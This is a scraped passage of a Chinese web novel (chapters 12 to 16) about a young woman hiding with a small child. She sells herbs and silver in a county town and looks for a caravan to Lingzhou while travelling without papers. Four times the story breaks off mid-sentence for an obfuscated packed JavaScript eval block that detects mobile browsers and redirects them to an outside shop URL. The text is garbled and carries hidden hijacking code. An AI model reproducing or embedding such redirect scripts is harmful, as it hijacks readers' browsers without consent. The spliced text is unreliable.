“嚯！”林芜适时地倒吸一口气，眼睛微微睁大，像是被这价钱吓着了。一支银簪统共也就三钱重，简单的雕花纹竟要抵上三分之一的银料价。 “那……那便打两个素圈的就好。”她犹犹豫豫地小声答道。 那老银匠端详着银簪，啧啧两声：“这银簪子原来的做工不错，可惜了。” 听到“做工不错”几个字，林芜心里一跳，急忙做出伤心状，垂下眼睫：“不瞒阿翁，这本是我的嫁妆。娘家早年光景好些，爹娘特意为我置办的体己。” 一旁的大娘听得越发好奇，忍不住插话：“既是你自个儿的嫁妆，怎的如今要拿出来，给亲戚孩子打物件了？” 她抬起袖子，不着痕迹地擦了擦眼角，才继续絮絮道来：“家中小姑嫁得好，如今添了个小郎君，眼看就要满月了。我们自家都快揭不开锅了，哪还有余钱备礼？可婆婆说……说我郎君已亡故，往后家里也没个人撑门楣，一家子女眷，往后指不定还得仰仗小姑家接济，小姑在闺中时又待我家小娘也是极亲厚的，这才咬咬牙，让我把簪子融了，打成手镯送去，好歹……好歹面上光鲜些，维系个情分。” “哎——呀！”那大娘听到这里，猛地一拍大腿，嗓门又亮又急，“你糊涂啊！嫁妆是女子的傍身根本，何况你这无依无靠的境况！哪能轻易动它！” “我……我晓得……”林芜被她吼得一颤，脑袋埋得更低，像在说服自己，“可这簪子被孩子糟蹋成这样，日后也戴不出去了。我娘家也没个人，爹娘早已故去，唯一的大兄早年赴凌州经商，这一去就再没音信。我、我实在是没别的法子了，只盼着小姑能念着这点好，日后能拉扯我们一把……” 方才在路上听来的地名，很快也被她派上了用场。 那大娘长长叹了口气，脸上的好奇已被怜悯取代，摇头叹道：“也是个苦命人呐……” “阿翁，这镯子何时打好？”林芜用袖口轻轻拭去眼角的泪痕，小声问道。 12. 第 12 章 “两个素圈，少说也得半日工夫。”老银匠说着，取出一杆小巧的戥子，将那两支银簪放在秤盘之上，并示意林芜近前观看，“客官瞧仔细了，这两支簪子，实重六钱七分。” 林芜凑近些，认真看后，点了点头：“我看妥了，劳烦阿翁费心。” “打造过程中必有火耗、锉耗，”老银匠耐心解释，“成器后会比原银轻些。您这六钱七分的料，打完手镯约摸还能剩下六钱，这是行规，您得知晓。” “我晓得。”林芜再次点头。 “客官如何称呼？”老银匠又掏出记事手账。 “姓林。”她轻声答道。 老银匠一边念一边写：“九月廿三，林客官，自带足银六钱七分，打小儿素圈镯一对，工钱八十文，今下定二十文。客官看妥否？” “妥当的，多谢阿翁。”林芜小心数出二十枚铜钱，整齐地放在柜台上。 “您要是得空，晌午过后便可来取。明日来也行。” 老银匠说着，从抽屉里取出一枚木质对牌，将其中一半递给林芜：“届时凭此牌取货，务必收好，莫要遗失。” 林芜接过对牌，小心翼翼地塞进布包最里层。心里盘算起来，若是晌午后来取，回到山中只怕天已黑，一来山路危险，二来也不能让林景独自待得太久。 “我明日再来取。”她答道。 她略迟疑，又从布包里摸出两颗小珍珠，摊在掌心，局促地问：“阿翁，这还有两颗小珠，原也是镶在簪子上的，被小娘掰下来玩了。不知您这里可收这类小东西？” 老银匠接过珠子，对着光仔细看了看：“寻常的淡水珠，个头是小了些，好在品相圆润，一颗算你二十文吧。” “哎哟！”旁边那位大娘原本正要走，听见这话又凑了过来，就着光端详那两颗珠子，“妹子，我正想打对耳坠子，配这小珠刚合适。你不如直接让给我，我出三十文一颗，也省得老何中间再倒一手。” 她当着老银匠的面说得直爽，看来确是熟客。 “这……”林芜有些无措地看了看老银匠，又看了看热心的大娘，一时拿不定主意。 “给她便是，”老银匠浑不在意地摆摆手，“反正她这耳坠的工钱还得落我口袋里。” “那便多谢二位成全了。”林芜这才将两颗小珠轻轻放在大娘手中。 “客气啥！”大娘爽朗一笑，利落地摸出一小串铜钱，又另数出十个散钱递给林芜，“妹子，这串是五十文，再加十文散钱，拢共六十文，你点点数。” 林芜接过仔细数过之后才收好，又朝对方诚恳道了谢：“多谢大娘照拂。” 大娘瞧她装钱的那小块布都破破旧旧的，也没个正经荷包，便压低声音道：“听大娘一句，你身边还带着个小娘子，说是相依为命也不为过，万事得多留个心眼。我多嘴问一句，你婆婆……不止你郎君一个儿子吧？” “还有个小叔，早些年已分了家，婆婆是跟着我们过的。”林芜低声回答。 “既然如此，如今你郎君不在了，奉养婆婆的担子也不能全压在你一个人肩上啊。”大娘语带关切。 “我晓得了……多谢大娘提点。”林芜抬起袖子，再次擦了擦微微发红的眼角。 —— 出了银匠铺之后，林芜又回到主街。 她这回来到一间估衣铺，这里既回收也售卖旧衣。这年头，一匹寻常的苎麻布便要价四百文，做成成衣就更贵了。因此，普通人家添置新衣是件大事，若遇手头紧涩，将体面些的衣裳送来典当换钱，也是常有的事。 铺子里挂满各式旧衣，从半新的绸衫到洗得发白的粗布短打，一应俱全，价钱却比成衣铺便宜不少。 七八成新的，价钱约莫是新衣的一半；而那些半旧不新的，往往只需新衣价的三成或四成，最为划算。自然，厚实的秋冬衣裳因用料多又费工，即便旧了也要比夏衣贵上一些。 她仔细翻拣，选出一大一小两身乡下人常穿的粗布衣裤，虽有些磨损，但浆洗得干净，又挑了两双厚实耐磨的新布鞋。 接着去到一家布庄，扯了十二尺细布预备做里衣，又想到往后奔波，少不得要包头挡尘、打包行囊，便添了七尺粗布。结账时，因买得多，和掌柜讨价还价一番，多得了一小把裁剩的碎布条，可当头绳用。 转头又去了杂货铺，买了一个火折子，一个针线包。 临出城前，她又去食摊买了两个荤馒头填肚子，连日来终于吃上了精制食物，腹中的满足感难以言喻，头一回觉得荤馒头这般好吃。 她又买了五个，用干阔叶包好放进布包中。想了想，又添了三个烧饼，可作明日的朝食。 在返程的路上，林芜在心里算着今日的账目。 卖野果、药材和珠子所得，加上原有的五两银子和六十二文，拢共有五两半碎银和六百六十七文，但今日采买一趟下来，已花去九百多文，今日刚赚到手的钱就花得七七八八，只剩五两银子并二百余文铜钱。 往后安身立命处处需要钱，出城若跟随商队，又是一笔。这些银钱也不知道够不够用。 她摇了摇头，将这些思绪抛开，想到独守山洞的林景，不由再次加快脚步。 饶是她紧赶慢赶，回到那座熟悉的山头时，日头也已西沉。 山洞内，小小的林景将自己蜷成一团，下巴抵在膝盖上，一动不动。 洞外忽然传来轻微的窸窣声。他猛地抬头，轻手轻脚挪到洞口，将眼睛贴上石缝，紧张地向外窥探。 暮色中，一个熟悉的身影正拨开灌木走来。看清是林芜的瞬间，他紧绷的心弦骤然松弛，眼眶一热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849692|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，泪水便毫无征兆地滚落下来，怎么止也止不住。 “阿景，我回来了。”林芜拨开洞口的树枝。 她用力挪开石头，一眼便瞧见孩子满脸交错的泪痕，心头一酸。弯腰将小孩轻轻拥入怀中，一下下拍着他的背：“没事了，没事了，你看，我这不是好好的回来了么？” 她知道，让一个遭逢巨变的四岁小孩独自困守山中，是何等残忍。 在山洞中坐定后，林芜拿出荤馒头递给林景，语气尽量轻快起来：“那不起眼的木疙瘩，竟是何首乌！卖了一贯钱！抵得上几十大包野艾蒿！这宝贝还是阿景在林地里发现的哩，我也是沾了阿景的福气！”这是今日最大的惊喜，她迫不及待地分享。 虽然不知道何首乌是什么，林景也被她的情绪感染，小口咬着馒头：“那我们明日再去寻寻，说不定还有呢？” “是哩，咱们运气这般好，附近定是还有的。”见他情绪好转，林芜也轻快了一些。 她接着又夸道：“还有咱们的野艾蒿，药铺掌柜直夸晒得好，一点杂草泥沙都没有，所以给了高价，比寻常收的足足多了快十文钱呢！能多买三个大馒头了！这都是阿景日日精心翻晒的功劳。看，阿景如今吃的馒头，都是靠自个儿的本事挣来的呢。” 林景听了，小脸微微泛红，用脚尖轻轻蹭着地面，抿着的嘴角忍不住向上弯起，露出个小小的笑容。 “还有呢，”林芜一边规整着今日买回的物品，一边将特意为他买的小衣裳最先拿了出来，在他身前比划着展开，“你看，我还给咱们各买了一身衣裳。等你换上这身，瞧着就像寻常人家的小郎君了，下次我们就能一起进城了。” 林景双眼亮晶晶地看着这身朴素的旧衣裳，又上手摸了摸，用力地点了点头。 “下次咱们还得去拿手镯，我将那银簪子融了重新打的。就算是天老爷来了也认不出那是宫廷的簪子。”林芜把衣裳收好，继续说着，又拿出那半片对牌给他瞧。 “这儿有个图案，还有一半在银匠掌柜手里头，要两片合起来，才对得上？”林景瞧这对牌有意思，仔细瞧了瞧，便知道了其中的门道。 “是哩，阿景聪明。” “是银匠师傅聪明。”林景腼腆地挠了挠头。 —— 次日，两人照常天刚亮便起身了。 “今日我们有额外的任务，那便是去寻何首乌。”就着清水吃过烧饼作朝食后，林芜说了今天的头号任务。 “今日不去银匠铺那里取镯子吗？”林景仰头问道，有些疑惑。 林芜摇了摇头：“此事不急，下次咱们进城再去取。” 眼下攒些盘缠，做好万全准备，远比去取回那对已改头换面的小银镯要紧。 林景乖巧地点点头，紧紧跟在她身后出了山洞。 13. 第 13 章 此后的几日，两人便以那日发现何首乌的地儿为中心，仔仔细细地在山林间搜寻。 最终寻得了三株何首乌，其中两株小的，一株大的。大的比上次那株要大上一些，形状也有趣，瞧着像个小人儿。 接下来，林芜也不急着拿去药铺。而是仔细准备着离开的东西。 十年宫廷生涯，虽做的是洒扫活计，但基本的针线活计她也娴熟。 她用那七尺布，裁来做了两个包袱，一大一小，里头还缝了好些夹层，可放些零碎物件。又做了两个束口袋子、荷包，能装些随取随用的物件。 细布被用来做了两人的里衣。别说林景，就是她自己也没办法穿粗布贴身里衣。 她没有按照此时里衣常见的宽大形制来做，而是将上衣做成了贴合身形的长袖款式，像贴身T恤，活动起来更利落；下边则裁成了及膝的小裤，用抽绳系腰，反正穿在里面谁也瞧不见。 她还在里衣内侧缝了两个暗袋，将她的金叶子，林景那装着两个小手镯、玉印和朱砂符的佩囊藏了进去，又用细布加固了几层，来来回回缝了几道线，外头无论如何都看不出来。 佩囊里头原来那小枚圆石和银杏叶则收到了林景新的小荷包里。 林芜将新买的衣裳为林景换上。那是一套青灰色粗布衣裙，下身小裙有着不明显的小花纹。她又将他柔软的头发在头顶扎成两个小鬏鬏，系上讨喜的红色头绳。 林景本就生得眉清目秀、明眸皓齿，虽然此时是脸黑齿白，如此一打扮，瞧上去就是个清秀乖巧的小娘子。 “下山之后，你便是个小娘，得唤我阿娘。”林景摸了摸他头上的揪揪。 林景仰头看着她，似懂非懂地点了点头。 林芜拉着他蹲下，捡起一根小树枝，在地上轻轻划出一条短线。 “你看，我们此刻在这里，”她在短线的一头点了点，“此番，我们要从这县城里找到一个可靠的商队，一起往东南走，先去一个叫凌州的地方，路上要走七八日。” “嗯嗯。”林景盯着那条线，用力点头，记下了这漫长的日程。 “但这里离咱们原来的家还是太近了，”林芜手中的树枝继续向东南延伸，划出一条更长的线，“凌州只是我们歇脚的第一站。到了那里，我们还得再找别的商队，继续往东南去，去下一个地方。下一个地方具体是哪儿，我现在也不知道，但没关系，我们路上可以慢慢打听。” 最后，树枝在长线的尽头重重一顿：“我们最终要去的地方，叫做湖州。那里非常非常远，从原来的家出发，要走近两个月才能到。” “湖州……”林景小声重复着这个名字，眉头微微蹙起，努力在有限的记忆里搜寻，“太傅说过湖州，是好远好远的地方。” 她轻轻摸了摸他的头：“是，好远好远的地方。” 将全部家当收拾进包袱后，林芜在洞口寻了处空地，取出了那两身从宫中穿出的衣裳。 她将衣裳置于地上，取出火折子点燃。 火苗很快便将衣裳吞没。 林景静静站在一旁，看着火光，抿着唇，没有说话。 待那堆布料变成一小堆灰烬后，林芜用木棍将灰拨入事先挖好的浅坑，仔细埋实抚平，不留一丝痕迹。 他们持起木棍，最后回头望了一眼那处栖身多日的山洞。 虽然停留时日不长，山洞也简陋，但这里却是他们离开宫殿后的第一处安身之所，是惊魂初定后唯一的归处。此刻离去，便也隐约有些离家的怅惘。 “走吧。”林芜牵着林景的小手，一步一步往前。 很快，两人的身影便隐没在山林中。 —— 进城后，第一个目的地便是药铺。 “怎的？小娘子又在山间寻得了好物？”老掌柜记性颇佳，一见林芜牵着孩子进门，便含笑招呼。 “阿翁说笑了，”她局促地笑了笑，从提着的布包里小心取出三株何首乌，轻放在柜台上，“漫山遍野地寻摸，也只得了这三株，让您见笑了。” 老掌柜接过药材，目光触及那株形似小人儿的大首乌时，有些惊喜。 他拿在手中掂了掂，随即眉头一皱：“晾晒了些时日，分量是轻了些，但内里还润着呢。” 林芜适时地轻叹一声，眉宇间染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849693|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上几分为难：“实在是……家中婆婆催促得紧，等不得了。” 掌柜瞧她大包小包的，身边还带着个小娃娃，心下便料是家中有变故，温言宽慰道：“所幸处理得宜，药气未散。更难得是这形态，说有，它便有三分人形；说无，却也含蓄。意形之物，贵在神韵，更兼份量十足，算是上品了。” “多谢阿翁吉言。”林芜低声道谢。 老掌柜取来戥子仔细称量，又拨了几下算盘，这才说道：“这株大的，三斤三两，形意难得，算你两贯。两株小的合一斤六两，作七百文。拢共两贯又七百文，你看可妥当？” “妥当的，多谢阿翁照拂。”林芜连忙应下。 “这钱你如何取用？”老掌柜体贴问道。 林芜略作迟疑，脸上显出几分局促，这才开口道：“不瞒阿翁，我此番……打算带着孩子赴凌州，去寻早年外出经商、久无音信的大兄投靠。路途遥远，心中实在惶恐，便想备些寻常药草以防万一。您是行家，能否请您拿个主意，该置办些什么？所需费用，您直接从这货款里扣除便是。” 她观这药铺并无伙计郎中，料想老掌柜必是懂医理的，故而直言相询。 老掌柜闻言，沉吟片刻，眼中了然，随即捻须道：“小娘子思虑周全。远行之人，风寒、湿热、跌打损伤最是常见。” 他一边说，一边转身从药柜中利索地抓取药材：“这是紫苏叶，散寒解表；这是藿香，可化湿和中，解暑辟秽；再配些陈皮理气健脾。此外，艾绒少许，可用于温经止血；再有一小瓶三七粉，专治跌打损伤，化瘀止血效果极佳。” “这些药材皆性平稳妥，便于携带，且不惹眼，”他将几包药草并一小瓷瓶整齐放在柜上，又拨了次算盘，“这些药材，合计便算你一百八十文。” “极好，多谢阿翁费心安排！”林芜感激不尽。 老掌柜点点头，将剩余的两贯并五百二十文铜钱，仔细清点给她，又特意将两贯整钱换成了两块一两的碎银，温声叮嘱：“路上小心，钱财莫要外露。” 林芜再次深深道谢，将银钱与药材仔细收好，这才牵着林景，离开了药铺。 14. 第 14 章 从药铺出来，两人便直奔银匠铺。 刚至铺门，那日见过的热心大娘竟正巧从里边走出，一眼便瞧见了他们。 “哎哟！妹子，你可算来了！”大娘嗓门敞亮，带着关切迎了上来，“这许多日不见，老婆子我心里直打鼓，生怕你遇上什么难处。” 她话音未落，目光已落在林芜身后那鼓鼓囊囊的包袱上，声调不由得压低，凑近些问：“瞧这架势……妹子，你这是要出远门？” 林芜闻言，眼圈霎时便红了，嘴唇翕动了几下，一时竟说不出话来，只余细微的哽咽。她下意识地将林景往身边拢了拢。 林景瞧她这模样，有些吓了一跳，似懂非懂地歪了歪小脑袋，随即跟着小嘴一瘪，眼眶也泛起红，小手紧紧攥住了她的衣角。 大娘一看这光景，心下顿时明白了七八分。 “唉，这……”她叹了口气，脸上满是同情，当即拉住林芜的胳膊，“别在门口站着了，快，先进来歇歇脚。”说着便将母女二人让进了银匠铺，利落地从角落搬来两张小方凳，按着她们坐下。 “对不住啊，何阿翁，耽搁许久才来。”林芜抬起微红的眼眶，朝老银匠连声道歉。 “无妨，”老银匠手上活计不停，头也不抬地打趣道，“你再不来，这镯子我可就昧下了，吃亏的是你哩。” 林芜被这话引得破涕为笑，气氛稍稍缓和。 一旁的大娘早已按捺不住，满眼关切地拉着林芜问道：“好妹子，这究竟是怎么了？哟，这就是你家小娘吧？看着可真乖。可你也忒显年轻，孩子竟这般大了？” “大娘，我已是二十有二的人了。”年仅十六的林芜眼也不眨，轻声细语地答道。 她深吸一口气，像是努力平复心绪，才接着道：“还得多谢您提点。说来也是我走运，那日我去药铺阿翁那儿卖药材，得了几个钱。便想着过几日得去外甥的满月礼，我总不能穿一身破烂衣裳过去，给我家小姑丢脸，毕竟小姑夫家是体面人家，就咬牙去估衣铺置办了一身衣裳。” “是这个理儿。”大娘点了点头。 “谁曾想，一到家中，被婆婆瞧见，”林芜话音渐低，带着颤音，“她指着我的鼻子骂，话说得……难听极了。” 她没明说，但那羞愤的神情，已让大娘瞬间意会，无外乎是骂她寡妇门前不检点，存了外心。 “她硬要抢那衣裳，说要留给弟妹穿去喝满月酒，还说我……说我郎君刚走，去那种喜场合是添晦气。” “岂有此理！”大娘顿时愤愤不平，“那她逼你拿嫁妆打镯子送礼时，怎就不嫌晦气了？！” “衣裳我死活没给，婆婆便连日辱骂，还……还打了景娘，不给我们饭吃，这日子真是熬不下去了。”她说着，将身旁懵懂的林景轻轻揽进怀里。 林景在一旁听得津津有味，忽然听到提及自己的名字，虽不太明白，便跟着点了点头，摸了摸小肚子，小声嘟囔：“肚肚饿。” “这才过了几日便这么作践人，往后还了得！”大娘气得直拍大腿。 “最让我寒心的是，”林芜压低了声音，带着后怕的颤栗，“我记着您的话，留了心，竟偶然听见婆婆跟小叔商量，等我嫁妆掏空了，就把我随便嫁人换财礼，还要……还要把景娘卖给人牙子！” “天老爷！这等丧良心的事儿也做得出来？这是不给你们留活路啊！”大娘惊得倒吸一口凉气。 “我是真的没活路了，”她哽咽着，“只能豁出去，收拾行装，带着景娘先去凌州碰碰运气，寻我那失联已久的大兄。若能找到，万事便有他帮衬周全，若寻不着……也总好过留在家里任人搓圆捏扁，最后被生吞活剥了去。” “唉！”大娘重重叹了口气，满脸都是不忍与无奈，“可你连个准信儿都没有，路上不知要受多少罪！” “我想好了，”林芜用袖口擦了擦眼角，努力让声音听起来镇定些，“所幸听人说，凌州离此地不算太远。若实在寻不着亲人，我便在那边找个安生处落脚，替人洗衣缝补或是做些面食小买卖，想来也能勉强糊口。眼下这里是万万不能待了，婆婆他们找来太容易。若被他们逮回去，往后的日子……我想想都怕。” 她似下定了决心，语气也坚定了许多：“倒不如现在搏一把，出去还能挣一条活路。” “是这个理儿。”大娘叹着气，点了点头。 林芜也跟着叹了口气，满脸愁容，掏出半片对牌递给了老银匠。 老银匠接过对牌，从身后木匣中取出那对小银镯放在戥子上，秤杆稳稳抬起：“瞧，足六钱，分毫不差。” “阿翁手艺自是极好的。”林芜说着，取出六十文钱放到柜台上。 老银匠收好铜钱，沉吟片刻，捻了捻胡须：“你到了凌州，可到各大商号或会馆细细打听，或许能寻到一丝线索。” 林芜闻言，眼中顿时有了神采，连声道谢：“多谢何阿翁指点，这真是雪中送炭了。” 一旁的大娘端详着那对小银镯：“这镯子既不用给你婆婆撑面子了，不如就给你家小娘戴着，我瞧着大小也勉强合适。”送给幼儿的手镯本就是往大了打的。 林芜面露窘迫，低声道：“我正打算拿去典当。一来远行需要盘缠，二来怕孩子戴着招眼，路上平添风险。” “倒是有理，你想得齐全，”大娘赞同地点了点头，随即又有些担忧，“只是典当行那些掌柜最是精明，你这新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849694|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打的好镯子拿过去，掌柜定要百般挑剔，压价到五百文都未必肯收。” “现钱要紧，吃亏也是没法子的事。”林芜轻叹。 老银匠闻言说道：“既要典当，不如让我收下。六钱的足银镯子，便按六钱银子给你。” “这如何使得！”林芜连连摆手，“阿翁已帮了我们许多，万不能再让您吃亏。” “他吃什么亏？”大娘笑着插话，“工钱早已赚了，转手还能再赚一道工费呢！” “阿翁的手艺值钱，这是两码事。”林芜坚持道。 “你这银料成色足，我不亏。”老银匠温声补充。 在二人再三劝说下，那对银镯终是回到了老银匠手中。林芜接过沉甸甸的六百文钱，眼眶微红，朝二人深深行礼：“实在不知该如何感谢二位……” “快别这样，”大娘连忙扶住她，“女娘生存不易，你出行万事多加小心。” 林芜重重点了点头。 “若要去寻商队搭伴，你要仔细甄别，寻个厚道稳妥的。”大娘又不放心地嘱咐。 听到这话，林芜脸上露出几分窘迫，不好意思地笑了笑：“不瞒大娘，我长这么大，最远只到过县城。这番东去，心里实在没底，原还糊涂想着，不知是该单独雇辆车，还是寻个车队……” “哎哟，我的傻妹子！”大娘一听就拍了下手，“单独雇车？且不说那价钱贵得上天，你们孤儿寡母的，万一遇上歹人，那就是叫天天不应叫地地不灵！须得寻个正经商队搭伴，人多势众，才是稳妥的正理。” 林芜连忙感激道：“原来还有这般关窍！多谢大娘点拨，不然我真是两眼一抹黑，怎么栽跟头的都不知道。我还只当是跟村里到县城那般，雇个牛车就能送到地头呢。” 一听这话，大娘不由笑出声：“你这傻话！便是只到那凌州，也有三百多里地。这一路上坡下坎、人吃马嚼的，就算跟着商队，紧赶慢赶也得七八日功夫。哪家牛车肯接这等生意？” 林芜再次郑重谢过老银匠和大娘，方才牵着林景出了铺门。 “大娘和阿翁都是好人。”林景抓着自己胸前的小包袱带子，仰头说道。进县城后接连遇到的好心人，让他初来时的恐惧不知不觉间已淡去了许多。 “是哩。”林芜牵着林景往主街走，心里却是没底。 这出行远比大娘想的更加困难。他们身上没有公凭，别说找商队去凌州，他们今晚都住不了正经旅舍。 没有公凭，无论住店、渡河还是进城，都处处受制。而这东西，非得凭户籍由里正出具、县衙用印方可。 她可不就是因为没有合法的身份凭证，前路如此艰难，不得不绞尽脑汁编造这全套故事。 15. 第 15 章 在药铺耽搁了一阵子，日头也已高悬。 她压下心头的焦虑，牵着林景在人流熙攘的食摊区转悠，目光快速扫过几家摊子，最后向一个客人不少的摊子走去。 这个摊子最外边的一张食桌围坐着几个头戴方巾、身着细麻直裰的汉子。与周围短衣赤脚的乡民不同，他们衣衫齐整，手边搁着褡裢，一望便知是南来北往的行商。 她寻了个最靠里的角落坐下。两人身上的青灰色粗布衣裳，经过山间跋涉，已沾了不少尘土，此刻混在人群中，灰扑扑的毫不起眼，正合她意。 她只要了两碗最便宜的素面，一边吃着面，一边听着四周交谈的声响。 邻桌几个行商正喝得面红耳赤，谈话声断断续续传来。 “如今路上查验是愈发紧了，尤其是这跨州越府的，没有那纸公凭，真是寸步难行。” “那也分跟谁走！像我们这样常跑凌州的，路上要过两道卡子。但大队商号自有门路打点，守关的兄弟瞧见熟面孔的旗号，抬手一挥也就过去了，谁耐烦细细查你那点货？” “理是这么个理，但若是跟了那等黑心商队，莫说护你周全，半道瞅你不顺眼，把你连人带货扔在荒山野岭都算轻的。” “说白了，就是得求着他们！咱们这些小门小户的，宁可多花几个冤枉钱，也得寻那根底清白、领头厚道的商队挂着！若不要这劳什子公凭，七八日的脚程，我自个儿雇个驴车走着，不知能省下多少！” “老兄既有这般志气，那您便自个儿走去呗。要么就花上个把月工夫，回您那户籍地老老实实求里正、跑县衙，开出一张合规的公凭来。只是这一来一回的功夫，都够您跑几趟凌州了，您那生意还做不做了？要么就硬着头皮闯关，让兵丁当流民抓了去，吃几天官饭，岂不是连伙食钱都省了？”说这话的人显然是大商队的。 林芜慢慢吃着面，心下明了。 公凭签注严格，规定了出发地、目的地和时限，差之毫厘便作废。但小商贩往来频繁，若次次回乡办理，就会耽误营生。因此，许多没有正式公凭的人，便会选择依附大商队行动，借其势过关。 他们自然也不会去住那些需严格查验公凭的旅舍，而是住在鱼龙混杂但管理更为宽松的脚店。那里对公凭多是睁一只眼闭一只眼。 心中渐渐有了底，她将最后一口面汤喝完，招呼小伙计过来，仔细数出铜钱放在桌上，便牵着林景离开了。 他们又在县城的街市上不着痕迹地绕了两圈，最终停在一家客流适中的脚店前。 店外有几个小郎小娘在追逐嬉戏，显出几分寻常人家的生气。 从门口往里瞧，能看到柜台站坐着个约莫四十岁的女掌柜，她打扮利索，身着黛蓝花边窄袖长褙，头上包髻，正神色严肃地拨着算盘。 “住店？”听到脚步声，掌柜抬起头，目光在她和孩子身上扫过。 “是。”林芜低声应道，下意识地将孩子往身后拢了拢。林景也默契地贴紧她，把小半张脸藏在她臂后。 “打哪来？做甚营生？”掌柜翻开一本边缘卷起的簿子，蘸了蘸墨。 “妇人是本县人，家在城南十里外的村子。”她声音温和，口音带着自然而然的本地腔调。这是方才在街市食摊间穿梭时，她仔细揣摩的结果。许是此地离京城不远，所以方言与官话相差不大，只在有些用词更土白些。 “夫君去得早，婆母不容，实在过不下去了……只得带着孩儿来县城，想寻个可靠商队捎我们母女一程，去凌州投奔娘家兄长，寻条活路。”说道这里，她的声音带这些哀戚。 掌柜闻言，笔尖顿了顿，抬眼又看了看她身边怯生生的孩子，没再多问，只道：“公凭有吗？” 听到这里，她眼眶瞬间就红了，用袖子拭了拭并不存在的泪痕：“夫君去后，婆母便把着户籍文书，不肯与我孤儿寡母，开不出公凭。掌柜的若是不便，我们、我们这就走。”说罢，她微微侧身，作势欲走。 “罢了，”掌柜摆摆手，在簿子上草草记了几笔，“大通铺、散铺，还是单间？” “单间……什么价钱？”她有些窘迫地问道。 “三十文一日。单间的客官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849695|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可到后院大灶热些吃食。” “那便暂住两日，劳烦掌柜。”她取出六十文钱放到柜台上。 掌柜收好钱，从柜台下摸出一块木牌推过来，上头刻着“人六”二字，头也不抬地用手一指：“人字房，穿过堂屋，右手边第六间。自己去吧。” 她道了谢，攥紧那木牌。一手牵着林景，一手提着布包，转身走进通往店后的门洞。 刚迈过门槛，光线陡然昏暗，空气里弥漫着劣质土酒和汗渍混合的刺鼻气味，熏得人脑门发紧。 走廊很窄，仅容一人通过，两侧房内不时传出些粗鲁的叫嚷声与鼾声。她将林景的小手握牢了一些，加快脚步向走廊深处走去。 进了房间，林芜反手便将门紧紧闩上，这才松了口气。林景则默默地打量着这个新的容身之所。 这是一间再简陋不过的屋子。四壁是斑驳的土墙，一张铺着草席的木床靠墙支着，上头叠放着一张半旧不新的衾被，虽然粗陋，但还算干净，闻不到太重的异味。屋内除了一床、一桌、一凳，便再无他物。 林芜仔细检查了床铺，又俯身看了看床底，确认无虞，这才将包袱放在桌上。她并未置办太多行囊，以免惹眼，包袱里只有些杂物。 放好行囊后，她轻声对林景说：“我下去片刻，你就在屋内，莫要出声，也莫要给任何人开门。” 林景用力点头，乖乖坐到凳子上。 她下楼来到柜台，朝掌柜轻声问道：“掌柜的，有热水吗？今日带孩子走了远路，想讨些热水给孩子擦把脸，也好去去乏。” “一桶三文，伙计给您送过去。” “劳烦您了，”林芜数出三文钱放在柜台上，却并未立刻离开，脸上显出几分犹豫踌躇，过了一会儿，才像是鼓足勇气般低声开口，“掌柜的，您见多识广，来往客商都经过您跟前……不知近来往凌州去的商队里，可有哪家是名声好些的？我们孤儿寡母，势单力薄，不敢求快，只求一个平安。” “客官还要带个小娘子，路上哭闹起来，商队怕是嫌麻烦，不愿带。”掌柜提醒道。 16. 第 16 章 林芜闻言，轻轻叹了口气：“唉，若不是真被逼得没了活路，哪个做娘亲的，舍得带着这般小的孩子去吃那风餐露宿的苦。如今也只盼着，能遇上一支心善的商队，若是……若是队伍里恰巧也有女眷或孩童，那就再好不过了。” 掌柜见她情状可怜，终是松了口风：“罢了，我替您留意着。所幸凌州不算远，往来商队不少，或有那宽厚的人家。” “多谢掌柜！”林芜连声道谢。 回到房间，伙计很快就将热水送来。林芜沾湿帕子，给两人简单擦洗了一番。 很快，窗外的天色便彻底黑透。客店里的喧嚣却并未停歇，鼾声、低语声、木板吱呀声，在寂静的夜里被放大，清晰可闻。 直到店里的伙计一边沿着走廊走，一边扯着嗓子喊：“时辰不早了，各位客官早些安歇吧！”周遭才渐渐安静下来。 